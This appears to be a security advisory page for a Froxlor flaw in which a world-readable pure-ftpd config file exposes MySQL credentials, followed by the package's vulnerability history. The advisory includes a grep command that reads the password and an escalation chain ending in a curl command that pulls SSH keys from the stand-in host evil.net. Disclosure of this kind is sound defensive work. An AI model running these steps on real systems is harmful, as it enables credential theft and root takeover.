High

Froxlor: /etc/pure-ftpd/db/mysql.conf is chmod 644 but contains <SQL_UNPRIVILEGED_PASSWORD>

  • Disclosed: 23.08.2024
  • Updated: 11.10.2026 10:22

Summary

In Froxlor 2.1.9 and in the HEADs of the main, v2.2 and v2.1 branches , the XML templates in lib/configfiles/ set chmod 644 for /etc/pure-ftpd/db/mysql.conf, although that file contains <SQL_UNPRIVILEGED_PASSWORD>. At least on Debian 12, all parent directories of /etc/pure-ftpd/db/mysql.conf are world readable by default, thus exposing these credentials to all users with access to the system. Only Froxlor instances configured to use pure-ftpd are affected/vulnerable.

Details

https://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075

PoC

As non-privileged user:

nobody@mail:/tmp$ grep MYSQLPassword /etc/pure-ftpd/db/mysql.conf
MYSQLPassword   MySecretMySQLPasswordForFroxlor

Impact

Any unprivileged user with "command/code execution" access to the system can trivially obtain the credentials granting access to the froxlor MySQL database. This holds true even for virtual users without SSH access as long as they are able to upload their own PHP scripts or other CGIs, and works even if the admin has setup a separate php-fpm pool that runs as their own user.

Side note: This access to the database can be leveraged to obtain Froxlor admin privileges, and subsequently root privileges. For example:

  1. Use the database credentials to extract or change a Froxlor admin's password hash and TOTP seed value.
  2. Log into Froxlor as that admin.
  3. Set the Cron-daemon reload command in /admin_settings.php?page=overview&part=crond to something like curl -o /root/.ssh/authorized_keys evil.net.
  4. Wait a few minutes until the relevant cronjob runs, then log in via SSH.

Please consider using passwordless unix socket authentication. Current versions of MySQL, MariaDB and Percona allow completely removing/omitting database passwords for database connections going through a unix socket, this works even for use cases where the database user has a different name than the system account running the database client: https://dev.mysql.com/doc/refman/5.7/en/socket-pluggable-authentication.html

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package froxlor/froxlor < 2.2.0 2.2.0

References

CVSS score 7.3/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Weakness (CWE)
CWE-732
Platform
Composer
Package
froxlor/froxlor
Disclosed
23.08.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-34qg-65m4-f23m - CC BY 4.0

Vulnerability history: froxlor/froxlor

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (60) in the archive
Total entries
60
First → latest
04.2022 08.2026
Without a fix
3
Exploited in attacks
0

Severity breakdown

  • Critical 12
  • High 21
  • Medium 26
  • Low 1

Disclosures per year

  1. 2022: 15
  2. 2023: 20
  3. 2024: 3
  4. 2025: 2
  5. 2026: 20
Severity:
  1. High · 8.1 CVE-2026-52793 < 2.3.7 2.3.7
  2. High · 7.6 CVE-2026-41234 < 2.3.7 2.3.7
  3. High CVE-2026-41237 < 2.3.7 2.3.7
  4. Froxlor: /etc/pure-ftpd/db/mysql.conf is chmod 644 but contains <SQL_UNPRIVILEGED_PASSWORD> this entry
    High · 7.3 CVE-2024-58383 < 2.2.0 2.2.0
  5. Critical · 9.6 CVE-2024-34070 < 2.1.9 2.1.9
  6. High · 7.5 CVE-2023-50256 < 2.1.2 2.1.2
  7. Critical · 9.9 CVE-2023-6069 < 2.1.0-beta1 2.1.0-beta1
  8. Critical · 9.1 CVE-2023-3668 < 2.0.21 2.0.21
  9. High · 7.2 CVE-2023-3172 < 2.0.20 2.0.20
  10. Critical · 9.8 CVE-2023-1307 < 2.0.13 2.0.13
  11. High · 8.8 CVE-2023-1033 < 2.0.11 2.0.11
  12. High · 8.8 CVE-2023-0877 < 2.0.11 2.0.11
  13. High · 7.5 CVE-2023-0564 < 2.0.10 2.0.10
  14. High · 8.8 CVE-2023-0315 < 2.0.8 2.0.8
  15. Critical · 9.8 CVE-2021-42325 < 0.10.30 0.10.30
  16. Critical · 9.8 CVE-2016-5100 < 0.9.35 0.9.35
  17. High · 7.5 CVE-2018-12642 < 0.9.40 0.9.40
  18. High · 7.2 CVE-2018-1000527 < 0.9.40 0.9.40

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.